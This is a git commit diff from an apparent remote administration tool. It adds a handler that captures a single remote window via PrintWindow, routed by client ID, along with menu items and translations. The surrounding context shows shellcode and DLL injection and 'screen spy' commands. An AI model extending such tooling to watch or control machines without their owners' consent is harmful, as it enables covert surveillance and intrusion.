Feat: window capture via PrintWindow with server-side HWND routing by clientID

This commit is contained in:
yuanyuanxiang
2026-06-15 13:08:23 +02:00
parent 5757ec7965
commit d3b9e7faae
16 changed files with 210 additions and 10 deletions

Binary file not shown.

View File

@@ -890,6 +890,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
@@ -10273,6 +10274,30 @@ void CMy2015RemoteDlg::InjectTinyRunDll(const std::string& ip, int pid)
SAFE_DELETE(tinyRun);
}
LRESULT CMy2015RemoteDlg::OpenWindowScreen(WPARAM wParam, LPARAM lParam)
{
// wParam: new char[2 * sizeof(uint64_t)],前 8 字节为 clientID后 8 字节为 HWND(uint64_t)
char* arg = (char*)wParam;
uint64_t clientID = 0, hwnd64 = 0;
memcpy(&clientID, arg, sizeof(uint64_t));
memcpy(&hwnd64, arg + sizeof(uint64_t), sizeof(uint64_t));
delete[] arg;
auto ctx = FindHost(clientID);
if (!ctx) return S_FALSE;
// 窗口捕获只能走 GDIPrintWindow忽略用户的 DXGI 设置
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
// [0]=COMMAND_SCREEN_SPY [1]=DXGI(强制GDI) [2]=algo [3]=all [4..11]=HWND(uint64_t)
BYTE bToken[32] = { COMMAND_SCREEN_SPY, (BYTE)USING_GDI,
(BYTE)(algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString())),
(BYTE)all };
memcpy(bToken + 4, &hwnd64, sizeof(uint64_t));
screenParamModifier(ctx, bToken);
ctx->Send2Client(bToken, sizeof(bToken));
return S_OK;
}
LRESULT CMy2015RemoteDlg::AntiBlackScreen(WPARAM wParam, LPARAM lParam)
{
char* ip = (char*)wParam;

View File

@@ -510,6 +510,7 @@ public:
afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT InjectShellcode(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT AntiBlackScreen(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OpenWindowScreen(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT ShareClient(WPARAM wParam, LPARAM lParam);
LRESULT assignFunction(WPARAM wParam, LPARAM lParam, BOOL all);
afx_msg LRESULT AssignClient(WPARAM wParam, LPARAM lParam);

View File

@@ -55,6 +55,7 @@ BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
ON_COMMAND(ID_WLIST_MIN, &CSystemDlg::OnWlistMin)
ON_COMMAND(ID_PLIST_INJECT, &CSystemDlg::OnPlistInject)
ON_COMMAND(ID_PLIST_ANTI_BLACK_SCREEN, &CSystemDlg::OnPlistAntiBlackScreen)
ON_COMMAND(ID_WLIST_VIEW, &CSystemDlg::OnWlistView)
END_MESSAGE_MAP()
@@ -638,3 +639,28 @@ void CSystemDlg::OnPlistAntiBlackScreen()
memcpy(arg + 256, arch, arch.GetLength());
m_pParent->PostMessageA(WM_ANTI_BLACKSCREEN, (WPARAM)arg, dwProcessID);
}
void CSystemDlg::OnWlistView()
{
int nItem = m_ControlList.GetSelectionMark();
if (nItem < 0) return;
auto data = (ItemData*)m_ControlList.GetItemData(nItem);
if (!data) return;
// 最小化的窗口 PrintWindow 不会被调用,远程端只能看到黑屏
if (data->Data[2] == "minimized") {
MessageBoxAPI_L(m_hWnd, "该窗口已最小化,请先还原后再查看。", "提示", MB_ICONINFORMATION);
return;
}
// 布局: [clientID: uint64_t][HWND: uint64_t],共 16 字节
// 使用子连接的 clientID 而非 IP以确保多客户端同 IP 时路由正确
char* arg = new char[2 * sizeof(uint64_t)]();
uint64_t clientID = m_ContextObject->GetClientID();
uint64_t hwnd64 = (uint64_t)(UINT_PTR)(HWND)(UINT_PTR)data->ID;
memcpy(arg, &clientID, sizeof(uint64_t));
memcpy(arg + sizeof(uint64_t), &hwnd64, sizeof(uint64_t));
ASSERT(m_pParent);
m_pParent->PostMessageA(WM_OPEN_WINDOW_SCREEN, (WPARAM)arg, 0);
}

View File

@@ -48,4 +48,5 @@ public:
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnPlistInject();
afx_msg void OnPlistAntiBlackScreen();
afx_msg void OnWlistView();
};

View File

@@ -1933,3 +1933,5 @@ FRPC Զ
卸载软件=Uninstall Software
是否移除此软件?=Uninstall this software. Are you sure?
[安全提示] 请设置Web访问密码!!!=[Security Warning] Please set web password!!!
查看=View Window
该窗口已最小化,请先还原后再查看。=The window is minimized. Please restore it before viewing.

View File

@@ -1924,3 +1924,5 @@ FRPC Զ
卸载软件=卸载软件
是否移除此软件?=是否移除此软件?
[安全提示] 请设置Web访问密码!!!=[安全提示] 请设置Web访问密码!!!
查看=查看
该窗口已最小化,请先还原后再查看。=該視窗已最小化,請先還原後再查看。

View File

@@ -1000,6 +1000,8 @@
#define ID_VIEW_HIDE_LOG 33061
#define ID_33062 33062
#define ID_COPY_CLIENT_INFO 33063
#define ID_WLIST_33064 33064
#define ID_WLIST_VIEW 33065
#define ID_EXIT_FULLSCREEN 40001
// Next default values for new objects
@@ -1007,7 +1009,7 @@
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 389
#define _APS_NEXT_COMMAND_VALUE 33064
#define _APS_NEXT_COMMAND_VALUE 33066
#define _APS_NEXT_CONTROL_VALUE 2542
#define _APS_NEXT_SYMED_VALUE 105
#endif

View File

@@ -109,6 +109,7 @@
#define WM_ONLINE_HOSTNUM WM_USER+3039
#define WM_SPLITTER_MOVED WM_USER+3040
#define WM_SPLITTER_RELEASED WM_USER+3041
#define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面
#ifdef _UNICODE
#if defined _M_IX86